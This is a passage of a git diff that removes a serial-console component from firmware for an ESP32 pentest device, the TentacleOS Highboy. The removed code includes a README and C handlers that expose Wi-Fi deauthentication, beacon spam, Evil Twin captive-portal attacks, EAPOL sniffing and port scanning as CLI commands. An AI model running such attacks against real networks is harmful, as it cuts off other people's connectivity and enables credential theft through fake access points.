see . -file(GLOB_RECURSE CONSOLE_SERVICE_SRCS "console/*.c") -file(GLOB_RECURSE CONSOLE_COMMANDS_SRCS "console/commands/*.c") file(GLOB_RECURSE SPI_BRIDGE_SRCS "spi_bridge/*.c") file(GLOB_RECURSE SD_CARD_SRCS "sd_card/*.c") file(GLOB_RECURSE MESHTASTIC_SRCS "meshtastic/*.c") @@ -41,8 +39,6 @@ idf_component_register(SRCS "esp_now/service_esp_now.c" ${SPI_BRIDGE_SRCS} - ${CONSOLE_SERVICE_SRCS} - ${CONSOLE_COMMANDS_SRCS} ${SD_CARD_SRCS} ${MESHTASTIC_SRCS} ${MESHCORE_SRCS} @@ -56,7 +52,6 @@ idf_component_register(SRCS "storage_assets/include" "esp_now/include" "spi_bridge/include" - "console/include" "sd_card/include" "meshtastic/include" "meshcore/include" @@ -80,7 +75,5 @@ idf_component_register(SRCS lvgl littlefs cjson - console - argtable3 mdns ) diff --git a/firmware_c5/components/Service/console/README.md b/firmware_c5/components/Service/console/README.md deleted file mode 100644 index 25203d31b..000000000 --- a/firmware_c5/components/Service/console/README.md +++ /dev/null @@ -1,103 +0,0 @@ -# Console Service Component - -The Console Service provides an interactive command-line interface (CLI) for the TentacleOS Highboy. It allows users to manage files, configure system settings, and execute Wi-Fi attacks directly via USB Serial or UART. - -It is built on top of the ESP-IDF `esp_console` component and uses `linenoise` for line editing and `argtable3` for argument parsing. - -## Accessing the Console - -Connect the Highboy to a computer via USB. Use a serial terminal program (e.g., Putty, Screen, minicom) with the following settings: -- **Baud Rate:** 115200 (default) -- **Data Bits:** 8 -- **Parity:** None -- **Stop Bits:** 1 - -The prompt `highboy>` indicates the system is ready. - -## Available Commands - -### System Commands - -| Command | Description | Usage | -| :--- | :--- | :--- | -| `help` | Lists all available commands. | `help [command]` | -| `free` | Displays available internal and PSRAM memory. | `free` | -| `tasks` | Lists running FreeRTOS tasks and stack usage. | `tasks` | -| `restart` | Reboots the system. | `restart` | -| `ip` | Shows current network interfaces (IP, Mask, GW, MAC). | `ip` | - -### File System Commands - -| Command | Description | Usage | -| :--- | :--- | :--- | -| `ls` | Lists directory contents. | `ls [-j] [path]`
`-j`: Output as JSON | -| `cd` | Changes current working directory. | `cd ` | -| `pwd` | Prints current working directory. | `pwd` | -| `cat` | Prints file content to console. | `cat ` | - -### Wi-Fi Commands (`wifi`) - -The `wifi` command is a wrapper for all wireless functions. - -| Subcommand | Description | Arguments | Example | -| :--- | :--- | :--- | :--- | -| `scan` | Scans for Wi-Fi networks. | None | `wifi scan` | -| `connect` | Connects to an Access Point. | `-s `: Target SSID
`-p `: Password (optional) | `wifi connect -s "MyWifi" -p "1234"` | -| `ap` | Configures the Highboy Hotspot. | `-s `: New SSID
`-p `: New Password | `wifi ap -s "FreeWiFi"` | -| `config` | Advanced Wi-Fi settings. | `-e <0/1>`: Enable/Disable
`-i `: Set Static IP
`-m `: Max clients | `wifi config -e 1 -m 8` | -| `spam` | Starts Beacon Spam attack. | `-r`: Random SSIDs
`-l`: Use `beacon_list.json`
`-s`: Stop attack | `wifi spam -r` | -| `deauth` | Starts Deauthentication attack. | `-t `: Target BSSID
`-c `: Channel
`-s`: Stop attack | `wifi deauth -t AA:BB:CC... -c 6` | -| `sniff` | Starts Packet Sniffer. | `-t `: beacon, probe, pwn, raw
`-c `: Channel (0=Hop)
`-f `: Save to SD
`-v`: Verbose (print)
`-s`: Stop | `wifi sniff -t beacon -v` | -| `probe` | Monitors Probe Requests. | `start` / `-s` (Stop) | `wifi probe start` | -| `clients` | Scans connected clients (sniffer). | `start` / `-s` (Stop) | `wifi clients start` | -| `target` | Monitors specific target activity. | `-t `: Target MAC
`-c `: Channel
`-s`: Stop | `wifi target -t AA:BB... -c 6` | -| `evil` | Starts Evil Twin (Captive Portal). | `-s `: Fake AP Name
`-s`: Stop (use --stop flag) | `wifi evil -s "Google Free"` | -| `portscan`| Scans TCP/UDP ports on target. | `-i `: Target IP
`-min`: Start Port
`-max`: End Port | `wifi portscan -i 192.168.1.1` | -| `status` | Shows active attacks and state. | None | `wifi status` | - -## Developing New Commands - -To add a new command to the console, follow these steps: - -1. **Create a source file:** Create `commands/cmd_mycommand.c`. -2. **Define Arguments:** Use `argtable3` structs to define parameters. -3. **Implement Handler:** Create a static function `int cmd_mycommand(int argc, char **argv)`. -4. **Register:** Create a public registration function and call `esp_console_cmd_register`. -5. **Hook:** Call your registration function in `console_service.c`. - -### Example Template - -```c -#include "console_service.h" -#include "esp_console.h" -#include "argtable3/argtable3.h" - -static struct { - struct arg_str *message; - struct arg_end *end; -} echo_args; - -static int cmd_echo(int argc, char **argv) { - int nerrors = arg_parse(argc, argv, (void **)&echo_args); - if (nerrors != 0) { - arg_print_errors(stderr, echo_args.end, "echo"); - return 1; - } - printf("Echo: %s\n", echo_args.message->sval[0]); - return 0; -} - -void register_echo_command(void) { - echo_args.message = arg_str1(NULL, NULL, "", "Message to print"); - echo_args.end = arg_end(1); - - const esp_console_cmd_t echo_cmd = { - .command = "echo", - .help = "Print a message", - .func = &cmd_echo, - .argtable = &echo_args - }; - ESP_ERROR_CHECK(esp_console_cmd_register(&echo_cmd)); -} -``` - diff --git a/firmware_c5/components/Service/console/commands/cmd_fs.c b/firmware_c5/components/Service/console/commands/cmd_fs.c deleted file mode 100644 index 7b41f57d7..000000000 --- a/firmware_c5/components/Service/console/commands/cmd_fs.c +++ /dev/null @@ -1,216 +0,0 @@ -// Copyright (c) 2025 HIGH CODE LLC -// -// TentacleOS is free software: you can redistribute it and/or modify -// it under the terms of the GNU General Public License as published by -// the Free Software Foundation, either version 3 of the License, or -// (at your option) any later version. -// -// TentacleOS is distributed in the hope that it will be useful, -// but WITHOUT ANY WARRANTY; without even the implied warranty of -// MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the -// GNU General Public License for more details. -// -// You should have received a copy of the GNU General Public License -// along with TentacleOS. If not, see . - -#include "console_service.h" - -#include -#include -#include -#include - -#include "esp_console.h" -#include "esp_log.h" -#include "argtable3/argtable3.h" - -#include "cJSON.h" - -static const char *TAG = "CMD_FS"; - -#define PATH_BUF_SIZE 512 - -static char s_cwd[PATH_BUF_SIZE] = "/assets"; - -static void resolve_path(const char *input, char *output, size_t max_len) { - if (input == NULL || strlen(input) == 0) { - strncpy(output, s_cwd, max_len); - return; - } - - if (input[0] == '/') { - strncpy(output, input, max_len); - } else { - snprintf(output, max_len, "%s/%s", s_cwd, input); - } -} - -static struct { - struct arg_str *path; - struct arg_lit *json; - struct arg_end *end; -} s_ls_args; - -static struct { - struct arg_str *path; - struct arg_end *end; -} s_cd_args; - -static struct { - struct arg_str *path; - struct arg_end *end; -} s_cat_args; - -static int cmd_pwd(int argc, char **argv) { - printf("%s\n", s_cwd); - return 0; -} - -static int cmd_cd(int argc, char **argv) { - int nerrors = arg_parse(argc, argv, (void **)&s_cd_args); - if (nerrors != 0) { - arg_print_errors(stderr, s_cd_args.end, "cd"); - printf("Usage: cd \n"); - return 1; - } - const char *target = s_cd_args.path->sval[0]; - char new_path[PATH_BUF_SIZE]; - - if (strcmp(target, "..") == 0) { - strncpy(new_path, s_cwd, sizeof(new_path)); - char *last_slash = strrchr(new_path, '/'); - if (last_slash && last_slash != new_path) { - *last_slash = '\0'; - } else if (last_slash == new_path) { - new_path[1] = '\0'; - } - } else if (strcmp(target, ".") == 0) { - return 0; - } else { - resolve_path(target, new_path, sizeof(new_path)); - } - - struct stat st; - if (stat(new_path, &st) == 0 && S_ISDIR(st.st_mode)) { - strncpy(s_cwd, new_path, sizeof(s_cwd)); - size_t len = strlen(s_cwd); - if (len > 1 && s_cwd[len - 1] == '/') { - s_cwd[len - 1] = '\0'; - } - } else { - printf("Error: Not a directory or path does not exist: %s\n", new_path); - return 1; - } - return 0; -} - -static int cmd_ls(int argc, char **argv) { - int nerrors = arg_parse(argc, argv, (void **)&s_ls_args); - if (nerrors != 0) { - arg_print_errors(stderr, s_ls_args.end, "ls"); - printf("Usage: ls [-j] [path]\n"); - return 1; - } - char path[PATH_BUF_SIZE]; - const char *input_path = (s_ls_args.path->count > 0) ? s_ls_args.path->sval[0] : NULL; - resolve_path(input_path, path, sizeof(path)); - - bool use_json = (s_ls_args.json->count > 0); - - DIR *dir = opendir(path); - if (dir == NULL) { - printf("Error: Cannot open directory '%s'\n", path); - return 1; - } - - struct dirent *entry; - cJSON *root = use_json ? cJSON_CreateArray() : NULL; - - if (!use_json) - printf("Directory: %s\n", path); - - while ((entry = readdir(dir)) != NULL) { - char full_path[1024]; - snprintf(full_path, sizeof(full_path), "%s/%s", path, entry->d_name); - - struct stat st; - stat(full_path, &st); - - if (use_json) { - cJSON *item = cJSON_CreateObject(); - cJSON_AddStringToObject(item, "name", entry->d_name); - cJSON_AddStringToObject(item, "type", (entry->d_type == DT_DIR) ? "dir" : "file"); - cJSON_AddNumberToObject(item, "size", (double)st.st_size); - cJSON_AddItemToArray(root, item); - } else { - printf("%-20s %s (%ld bytes)\n", - entry->d_name, - (entry->d_type == DT_DIR) ? "[DIR]" : "", - (long)st.st_size); - } - } - closedir(dir); - - if (use_json) { - char *json_str = cJSON_PrintUnformatted(root); - printf("%s\n", json_str); - free(json_str); - cJSON_Delete(root); - } - - return 0; -} - -static int cmd_cat(int argc, char **argv) { - int nerrors = arg_parse(argc, argv, (void **)&s_cat_args); - if (nerrors != 0) { - arg_print_errors(stderr, s_cat_args.end, "cat"); - printf("Usage: cat \n"); - return 1; - } - char path[PATH_BUF_SIZE]; - resolve_path(s_cat_args.path->sval[0], path, sizeof(path)); - - FILE *f = fopen(path, "r"); - if (f == NULL) { - printf("Error: Cannot open file '%s'\n", path); - return 1; - } - - char buf[128]; - while (fgets(buf, sizeof(buf), f) != NULL) { - printf("%s", buf); - } - printf("\n"); - fclose(f); - return 0; -} - -void register_fs_commands(void) { - // LS - s_ls_args.path = arg_str0(NULL, NULL, "", "Directory path"); - s_ls_args.json = arg_lit0("j", "json", "Output in JSON format"); - s_ls_args.end = arg_end(1); - const esp_console_cmd_t ls_cmd = { - .command = "ls", .help = "List directory", .func = &cmd_ls, .argtable = &s_ls_args}; - ESP_ERROR_CHECK(esp_console_cmd_register(&ls_cmd)); - - // CD - s_cd_args.path = arg_str1(NULL, NULL, "", "Target directory"); - s_cd_args.end = arg_end(1); - const esp_console_cmd_t cd_cmd = { - .command = "cd", .help = "Change directory", .func = &cmd_cd, .argtable = &s_cd_args}; - ESP_ERROR_CHECK(esp_console_cmd_register(&cd_cmd)); - - // PWD - const esp_console_cmd_t pwd_cmd = { - .command = "pwd", .help = "Print working directory", .func = &cmd_pwd}; - ESP_ERROR_CHECK(esp_console_cmd_register(&pwd_cmd)); - - // CAT - s_cat_args.path = arg_str1(NULL, NULL, "", "File path"); - s_cat_args.end = arg_end(1); - const esp_console_cmd_t cat_cmd = { - .command = "cat", .help = "Print file content", .func = &cmd_cat, .argtable = &s_cat_args}; - ESP_ERROR_CHECK(esp_console_cmd_register(&cat_cmd)); -} diff --git a/firmware_c5/components/Service/console/commands/cmd_system.c b/firmware_c5/components/Service/console/commands/cmd_system.c deleted file mode 100644 index 91a588942..000000000 --- a/firmware_c5/components/Service/console/commands/cmd_system.c +++ /dev/null @@ -1,134 +0,0 @@ -// Copyright (c) 2025 HIGH CODE LLC -// -// TentacleOS is free software: you can redistribute it and/or modify -// it under the terms of the GNU General Public License as published by -// the Free Software Foundation, either version 3 of the License, or -// (at your option) any later version. -// -// TentacleOS is distributed in the hope that it will be useful, -// but WITHOUT ANY WARRANTY; without even the implied warranty of -// MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the -// GNU General Public License for more details. -// -// You should have received a copy of the GNU General Public License -// along with TentacleOS. If not, see . - -#include "console_service.h" - -#include - -#include "esp_console.h" -#include "esp_log.h" -#include "esp_system.h" -#include "esp_heap_caps.h" -#include "esp_wifi.h" -#include "esp_netif.h" -#include "esp_mac.h" -#include "freertos/FreeRTOS.h" -#include "freertos/task.h" - -static const char *TAG = "CMD_SYSTEM"; - -static int cmd_free(int argc, char **argv) { - printf("Internal RAM:\n"); - printf(" Free: %lu bytes\n", (unsigned long)heap_caps_get_free_size(MALLOC_CAP_INTERNAL)); - printf(" Min Free: %lu bytes\n", - (unsigned long)heap_caps_get_minimum_free_size(MALLOC_CAP_INTERNAL)); - - printf("SPIRAM (PSRAM):\n"); - printf(" Free: %lu bytes\n", (unsigned long)heap_caps_get_free_size(MALLOC_CAP_SPIRAM)); - printf(" Min Free: %lu bytes\n", - (unsigned long)heap_caps_get_minimum_free_size(MALLOC_CAP_SPIRAM)); - return 0; -} - -static int cmd_restart(int argc, char **argv) { - printf("Restarting system...\n"); - esp_restart(); - return 0; -} - -static int cmd_ip(int argc, char **argv) { - esp_netif_t *netif_sta = esp_netif_get_handle_from_ifkey("WIFI_STA_DEF"); - esp_netif_t *netif_ap = esp_netif_get_handle_from_ifkey("WIFI_AP_DEF"); - - if (netif_sta) { - esp_netif_ip_info_t ip_info; - esp_netif_get_ip_info(netif_sta, &ip_info); - printf("STA Interface:\n"); - printf(" IP: " IPSTR "\n", IP2STR(&ip_info.ip)); - printf(" Mask: " IPSTR "\n", IP2STR(&ip_info.netmask)); - printf(" GW: " IPSTR "\n", IP2STR(&ip_info.gw)); - - uint8_t mac[6]; - esp_wifi_get_mac(WIFI_IF_STA, mac); - printf(" MAC: " MACSTR "\n", MAC2STR(mac)); - } - - if (netif_ap) { - esp_netif_ip_info_t ip_info; - esp_netif_get_ip_info(netif_ap, &ip_info); - printf("AP Interface:\n"); - printf(" IP: " IPSTR "\n", IP2STR(&ip_info.ip)); - printf(" Mask: " IPSTR "\n", IP2STR(&ip_info.netmask)); - printf(" GW: " IPSTR "\n", IP2STR(&ip_info.gw)); - - uint8_t mac[6]; - esp_wifi_get_mac(WIFI_IF_AP, mac); - printf(" MAC: " MACSTR "\n", MAC2STR(mac)); - } - return 0; -} - -static int cmd_tasks(int argc, char **argv) { - const size_t bytes_per_task = 40; /* See vTaskList description */ - char *task_list_buffer = malloc(uxTaskGetNumberOfTasks() * bytes_per_task); - - if (task_list_buffer == NULL) { - printf("Error: Failed to allocate memory for task list.\n"); - return 1; - } - - printf("Task Name State Prio Stack Num\n"); - printf("-------------------------------------------\n"); - vTaskList(task_list_buffer); - printf("%s", task_list_buffer); - printf("-------------------------------------------\n"); - - free(task_list_buffer); - return 0; -} - -void register_system_commands(void) { - const esp_console_cmd_t cmd_tasks_def = { - .command = "tasks", - .help = "List running FreeRTOS tasks", - .hint = NULL, - .func = &cmd_tasks, - }; - ESP_ERROR_CHECK(esp_console_cmd_register(&cmd_tasks_def)); - - const esp_console_cmd_t cmd_ip_def = { - .command = "ip", - .help = "Show network interfaces", - .hint = NULL, - .func = &cmd_ip, - }; - ESP_ERROR_CHECK(esp_console_cmd_register(&cmd_ip_def)); - - const esp_console_cmd_t cmd_free_def = { - .command = "free", - .help = "Show remaining memory", - .hint = NULL, - .func = &cmd_free, - }; - ESP_ERROR_CHECK(esp_console_cmd_register(&cmd_free_def)); - - const esp_console_cmd_t cmd_restart_def = { - .command = "restart", - .help = "Reboot the Highboy", - .hint = NULL, - .func = &cmd_restart, - }; - ESP_ERROR_CHECK(esp_console_cmd_register(&cmd_restart_def)); -} diff --git a/firmware_c5/components/Service/console/commands/cmd_wifi.c b/firmware_c5/components/Service/console/commands/cmd_wifi.c deleted file mode 100644 index fbcce54c6..000000000 --- a/firmware_c5/components/Service/console/commands/cmd_wifi.c +++ /dev/null @@ -1,655 +0,0 @@ -// Copyright (c) 2025 HIGH CODE LLC -// -// TentacleOS is free software: you can redistribute it and/or modify -// it under the terms of the GNU General Public License as published by -// the Free Software Foundation, either version 3 of the License, or -// (at your option) any later version. -// -// TentacleOS is distributed in the hope that it will be useful, -// but WITHOUT ANY WARRANTY; without even the implied warranty of -// MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the -// GNU General Public License for more details. -// -// You should have received a copy of the GNU General Public License -// along with TentacleOS. If not, see . - -#include "console_service.h" - -#include - -#include "esp_console.h" -#include "esp_log.h" -#include "esp_wifi.h" -#include "esp_mac.h" -#include "argtable3/argtable3.h" - -#include "tos_flash_paths.h" -#include "wifi_service.h" -#include "ap_scanner.h" -#include "wifi_deauther.h" -#include "beacon_spam.h" -#include "wifi_sniffer.h" -#include "probe_monitor.h" -#include "client_scanner.h" -#include "target_scanner.h" -#include "signal_monitor.h" -#include "deauther_detector.h" -#include "evil_twin.h" -#include "port_scan.h" - -static const char *TAG = "CMD_WIFI"; - -#define PATH_BUF_SIZE 512 -#define MAX_PORT_RESULTS 20 - -// SCAN -static struct { - struct arg_end *end; -} s_scan_args; - -static int subcmd_scan(int argc, char **argv) { - int nerrors = arg_parse(argc, argv, (void **)&s_scan_args); - if (nerrors != 0) { - arg_print_errors(stderr, s_scan_args.end, "wifi scan"); - return 1; - } - - printf("Starting Wi-Fi Scan...\n"); - wifi_service_scan(); - - uint16_t count = wifi_service_get_ap_count(); - printf("Found %d networks:\n", count); - printf("%-32s | %-17s | %s | %s | %s\n", "SSID", "BSSID", "CH", "RSSI", "WPS"); - printf("--------------------------------------------------------------------------------\n"); - - for (int i = 0; i < count; i++) { - wifi_ap_record_t *rec = wifi_service_get_ap_record(i); - if (rec) { - printf("%-32s | %02x:%02x:%02x:%02x:%02x:%02x | %2d | %4d | %s\n", - rec->ssid, - rec->bssid[0], - rec->bssid[1], - rec->bssid[2], - rec->bssid[3], - rec->bssid[4], - rec->bssid[5], - rec->primary, - rec->rssi, - rec->wps ? "Yes" : "No "); - } - } - return 0; -} - -// CONNECT -static struct { - struct arg_str *ssid; - struct arg_str *password; - struct arg_end *end; -} s_connect_args; - -static int subcmd_connect(int argc, char **argv) { - int nerrors = arg_parse(argc, argv, (void **)&s_connect_args); - if (nerrors != 0) { - arg_print_errors(stderr, s_connect_args.end, "wifi connect"); - return 1; - } - - const char *ssid = s_connect_args.ssid->sval[0]; - const char *pass = (s_connect_args.password->count > 0) ? s_connect_args.password->sval[0] : NULL; - - printf("Connecting to '%s'...\n", ssid); - esp_err_t err = wifi_service_connect_to_ap(ssid, pass); - if (err == ESP_OK) { - printf("Connection request sent.\n"); - } else { - printf("Error initiating connection: %s\n", esp_err_to_name(err)); - } - return 0; -} - -// AP CONFIG -static struct { - struct arg_str *ssid; - struct arg_str *password; - struct arg_end *end; -} s_ap_args; - -static int subcmd_ap(int argc, char **argv) { - int nerrors = arg_parse(argc, argv, (void **)&s_ap_args); - if (nerrors != 0) { - arg_print_errors(stderr, s_ap_args.end, "wifi ap"); - return 1; - } - - const char *ssid = s_ap_args.ssid->sval[0]; - const char *pass = (s_ap_args.password->count > 0) ? s_ap_args.password->sval[0] : ""; - - printf("Configuring AP: SSID='%s', Pass='%s'\n", ssid, pass); - wifi_service_set_ap_ssid(ssid); - wifi_service_set_ap_password(pass); - printf("AP Configuration updated.\n"); - return 0; -} - -// CONFIG -static struct { - struct arg_int *enabled; - struct arg_str *ip; - struct arg_int *max_conn; - struct arg_end *end; -} s_config_args; - -static int subcmd_config(int argc, char **argv) { - int nerrors = arg_parse(argc, argv, (void **)&s_config_args); - if (nerrors != 0) { - arg_print_errors(stderr, s_config_args.end, "wifi config"); - return 1; - } - - if (s_config_args.enabled->count > 0) { - bool en = (s_config_args.enabled->ival[0] != 0); - printf("Setting Wi-Fi Enabled: %s\n", en ? "True" : "False"); - wifi_service_set_enabled(en); - } - - if (s_config_args.ip->count > 0) { - const char *ip = s_config_args.ip->sval[0]; - printf("Setting AP IP: %s\n", ip); - wifi_service_set_ap_ip(ip); - } - - if (s_config_args.max_conn->count > 0) { - int max = s_config_args.max_conn->ival[0]; - printf("Setting Max Connections: %d\n", max); - wifi_service_set_ap_max_conn((uint8_t)max); - } - - return 0; -} - -// SPAM -static struct { - struct arg_lit *random; - struct arg_lit *list; - struct arg_lit *stop; - struct arg_end *end; -} s_spam_args; - -static int subcmd_spam(int argc, char **argv) { - int nerrors = arg_parse(argc, argv, (void **)&s_spam_args); - if (nerrors != 0) { - arg_print_errors(stderr, s_spam_args.end, "wifi spam"); - return 1; - } - - if (s_spam_args.stop->count > 0) { - beacon_spam_stop(); - printf("Beacon spam stopped.\n"); - return 0; - } - - if (s_spam_args.random->count > 0) { - if (beacon_spam_start_random()) { - printf("Random Beacon Spam started.\n"); - } else { - printf("Failed to start Random Beacon Spam.\n"); - } - return 0; - } - - if (s_spam_args.list->count > 0) { - if (beacon_spam_start_custom(FLASH_CONFIG_WIFI_BEACONS)) { - printf("Custom List Beacon Spam started.\n"); - } else { - printf("Failed to start Custom Beacon Spam (Check " FLASH_CONFIG_WIFI_BEACONS ").\n"); - } - return 0; - } - - printf("Usage: wifi spam -r (random) | -l (list) | -s (stop)\n"); - return 0; -} - -// DEAUTH -static struct { - struct arg_str *mac; - struct arg_int *channel; - struct arg_lit *stop; - struct arg_end *end; -} s_deauth_args; - -static int subcmd_deauth(int argc, char **argv) { - int nerrors = arg_parse(argc, argv, (void **)&s_deauth_args); - if (nerrors != 0) { - arg_print_errors(stderr, s_deauth_args.end, "wifi deauth"); - return 1; - } - - if (s_deauth_args.stop->count > 0) { - wifi_deauther_stop(); - printf("Deauther stopped.\n"); - return 0; - } - - if (s_deauth_args.mac->count == 0) { - printf("Error: Target MAC required.\n"); - return 1; - } - - const char *mac_str = s_deauth_args.mac->sval[0]; - uint8_t mac[6]; - int parsed = sscanf(mac_str, - "%hhx:%hhx:%hhx:%hhx:%hhx:%hhx", - &mac[0], - &mac[1], - &mac[2], - &mac[3], - &mac[4], - &mac[5]); - - if (parsed != 6) { - printf("Error: Invalid MAC format. Use XX:XX:XX:XX:XX:XX\n"); - return 1; - } - - int channel = (s_deauth_args.channel->count > 0) ? s_deauth_args.channel->ival[0] : 1; - - wifi_ap_record_t target_ap; - memset(&target_ap, 0, sizeof(wifi_ap_record_t)); - memcpy(target_ap.bssid, mac, 6); - target_ap.primary = channel; - - if (wifi_deauther_start(&target_ap, WIFI_DEAUTHER_TYPE_INVALID_AUTH, true)) { - printf("Deauth Attack Started on %s (Ch %d)\n", mac_str, channel); - } else { - printf("Failed to start Deauth (Is Wi-Fi running?).\n"); - } - - return 0; -} - -// SNIFFER -static struct { - struct arg_str *type; - struct arg_int *channel; - struct arg_str *file; - struct arg_lit *verbose; - struct arg_lit *stop; - struct arg_end *end; -} s_sniff_args; - -static int subcmd_sniff(int argc, char **argv) { - int nerrors = arg_parse(argc, argv, (void **)&s_sniff_args); - if (nerrors != 0) { - arg_print_errors(stderr, s_sniff_args.end, "wifi sniff"); - return 1; - } - - if (s_sniff_args.stop->count > 0) { - wifi_sniffer_stop(); - printf("Sniffer stopped.\n"); - return 0; - } - - wifi_sniffer_type_t type = WIFI_SNIFFER_TYPE_RAW; - if (s_sniff_args.type->count > 0) { - const char *t = s_sniff_args.type->sval[0]; - if (strcmp(t, "beacon") == 0) - type = WIFI_SNIFFER_TYPE_BEACON; - else if (strcmp(t, "probe") == 0) - type = WIFI_SNIFFER_TYPE_PROBE; - else if (strcmp(t, "pwn") == 0) - type = WIFI_SNIFFER_TYPE_EAPOL; - } - - uint8_t ch = (s_sniff_args.channel->count > 0) ? (uint8_t)s_sniff_args.channel->ival[0] : 0; - - wifi_sniffer_set_verbose(s_sniff_args.verbose->count > 0); - - if (s_sniff_args.file->count > 0) { - if (wifi_sniffer_start_stream_sd(type, ch, s_sniff_args.file->sval[0])) { - printf("Sniffer started (streaming to %s)\n", s_sniff_args.file->sval[0]); - } else { - printf("Failed to start sniffer stream.\n"); - } - } else { - if (wifi_sniffer_start(type, ch)) { - printf("Sniffer started (RAM buffer).\n"); - } else { - printf("Failed to start sniffer.\n"); - } - } - return 0; -} - -// PROBE MONITOR -static struct { - struct arg_lit *start; - struct arg_lit *stop; - struct arg_end *end; -} s_probe_args; - -static int subcmd_probe(int argc, char **argv) { - int nerrors = arg_parse(argc, argv, (void **)&s_probe_args); - if (nerrors != 0) { - arg_print_errors(stderr, s_probe_args.end, "wifi probe"); - return 1; - } - - if (s_probe_args.stop->count > 0) { - probe_monitor_stop(); - printf("Probe monitor stopped.\n"); - return 0; - } - - if (probe_monitor_start()) { - printf("Probe monitor started. Use 'wifi status' to see results count.\n"); - } else { - printf("Failed to start probe monitor.\n"); - } - return 0; -} - -// CLIENT SCAN -static struct { - struct arg_lit *start; - struct arg_lit *stop; - struct arg_end *end; -} s_clients_args; - -static int subcmd_clients(int argc, char **argv) { - int nerrors = arg_parse(argc, argv, (void **)&s_clients_args); - if (nerrors != 0) { - arg_print_errors(stderr, s_clients_args.end, "wifi clients"); - return 1; - } - - if (s_clients_args.stop->count > 0) { - wifi_service_promiscuous_stop(); - printf("Client scanner stopped.\n"); - return 0; - } - - if (client_scanner_start()) { - printf("Client scanner started (15s duration).\n"); - } else { - printf("Failed to start client scanner.\n"); - } - return 0; -} - -// TARGET SCAN -static struct { - struct arg_str *mac; - struct arg_int *channel; - struct arg_lit *stop; - struct arg_end *end; -} s_target_args; - -static int subcmd_target(int argc, char **argv) { - int nerrors = arg_parse(argc, argv, (void **)&s_target_args); - if (nerrors != 0) { - arg_print_errors(stderr, s_target_args.end, "wifi target"); - return 1; - } - - if (s_target_args.stop->count > 0) { - wifi_service_promiscuous_stop(); - printf("Target scanner stopped.\n"); - return 0; - } - - if (s_target_args.mac->count == 0 || s_target_args.channel->count == 0) { - printf("Error: Target MAC and Channel required.\n"); - return 1; - } - - const char *mac_str = s_target_args.mac->sval[0]; - uint8_t mac[6]; - sscanf(mac_str, - "%hhx:%hhx:%hhx:%hhx:%hhx:%hhx", - &mac[0], - &mac[1], - &mac[2], - &mac[3], - &mac[4], - &mac[5]); - uint8_t ch = (uint8_t)s_target_args.channel->ival[0]; - - if (target_scanner_start(mac, ch)) { - printf("Target scanner started for %s on Ch %d.\n", mac_str, ch); - } else { - printf("Failed to start target scanner.\n"); - } - return 0; -} - -// EVIL TWIN -static struct { - struct arg_str *ssid; - struct arg_lit *stop; - struct arg_end *end; -} s_evil_args; - -static int subcmd_evil(int argc, char **argv) { - int nerrors = arg_parse(argc, argv, (void **)&s_evil_args); - if (nerrors != 0) { - arg_print_errors(stderr, s_evil_args.end, "wifi evil"); - return 1; - } - - if (s_evil_args.stop->count > 0) { - evil_twin_stop_attack(); - printf("Evil Twin stopped.\n"); - return 0; - } - - if (s_evil_args.ssid->count > 0) { - const char *ssid = s_evil_args.ssid->sval[0]; - evil_twin_start_attack(ssid); - printf("Evil Twin started with SSID: %s\n", ssid); - return 0; - } - - printf("Usage: wifi evil -ssid | --stop (stop)\n"); - return 0; -} - -// PORT SCAN -static struct { - struct arg_str *ip; - struct arg_int *min; - struct arg_int *max; - struct arg_end *end; -} s_port_args; - -static int subcmd_portscan(int argc, char **argv) { - int nerrors = arg_parse(argc, argv, (void **)&s_port_args); - if (nerrors != 0) { - arg_print_errors(stderr, s_port_args.end, "wifi portscan"); - return 1; - } - - if (s_port_args.ip->count == 0) { - printf("Error: IP required.\n"); - return 1; - } - - const char *ip = s_port_args.ip->sval[0]; - int min = (s_port_args.min->count > 0) ? s_port_args.min->ival[0] : 1; - int max = (s_port_args.max->count > 0) ? s_port_args.max->ival[0] : 1024; - - printf("Starting Port Scan on %s (%d-%d). This block the console...\n", ip, min, max); - - port_scan_result_t *results = malloc(sizeof(port_scan_result_t) * MAX_PORT_RESULTS); - if (results == NULL) { - printf("Memory error.\n"); - return 1; - } - - int count = port_scan_target_range(ip, min, max, results, MAX_PORT_RESULTS); - - printf("Scan finished. Found %d open ports:\n", count); - for (int i = 0; i < count; i++) { - printf(" %d/%s: %s\n", - results[i].port, - (results[i].protocol == PORT_SCAN_PROTO_TCP) ? "TCP" : "UDP", - results[i].banner); - } - free(results); - return 0; -} - -// STATUS -static int subcmd_status(int argc, char **argv) { - printf("--- Wi-Fi Status ---\n"); - printf("Service Active: %s\n", wifi_service_is_active() ? "Yes" : "No"); - - const char *conn_ssid = wifi_service_get_connected_ssid(); - printf("Connected STA: %s\n", conn_ssid ? conn_ssid : "Disconnected"); - - uint8_t mac_sta[6], mac_ap[6]; - esp_wifi_get_mac(WIFI_IF_STA, mac_sta); - esp_wifi_get_mac(WIFI_IF_AP, mac_ap); - - printf("MAC STA: " MACSTR "\n", MAC2STR(mac_sta)); - printf("MAC AP: " MACSTR "\n", MAC2STR(mac_ap)); - - printf("--- Applications ---\n"); - printf("Beacon Spam: %s\n", beacon_spam_is_running() ? "RUNNING" : "Stopped"); - printf("Deauther: %s\n", wifi_deauther_is_running() ? "RUNNING" : "Stopped"); - printf("Sniffer Pkts: %lu\n", wifi_sniffer_get_packet_count()); - printf("Deauth Det: %lu events detected\n", deauther_detector_get_count()); - - return 0; -} - -// MAIN WIFI COMMAND DISPATCHER -static int cmd_wifi(int argc, char **argv) { - if (argc < 2) { - printf("Usage: wifi [options]\n\n"); - printf("Commands:\n"); - printf(" scan Scan networks\n"); - printf(" connect Connect to AP\n"); - printf(" -s -p \n"); - printf(" ap Config Hotspot\n"); - printf(" -s -p \n"); - printf(" config Advanced Config\n"); - printf(" -e <0/1> (Enable) | -i | -m \n"); - printf(" spam Beacon Spam Attack\n"); - printf(" -r (Random) | -l (List) | -s (Stop)\n"); - printf(" deauth Deauth Attack\n"); - printf(" -t [-c ] | -s (Stop)\n"); - printf(" sniff Packet Sniffer\n"); - printf(" -t -c -f -v (Verbose) | -s (Stop)\n"); - printf(" probe Probe Request Monitor\n"); - printf(" start | -s (Stop)\n"); - printf(" clients Scan Connected Clients\n"); - printf(" start | -s (Stop)\n"); - printf(" target Target Scan\n"); - printf(" -t -c | -s (Stop)\n"); - printf(" evil Evil Twin Attack\n"); - printf(" -s | -s 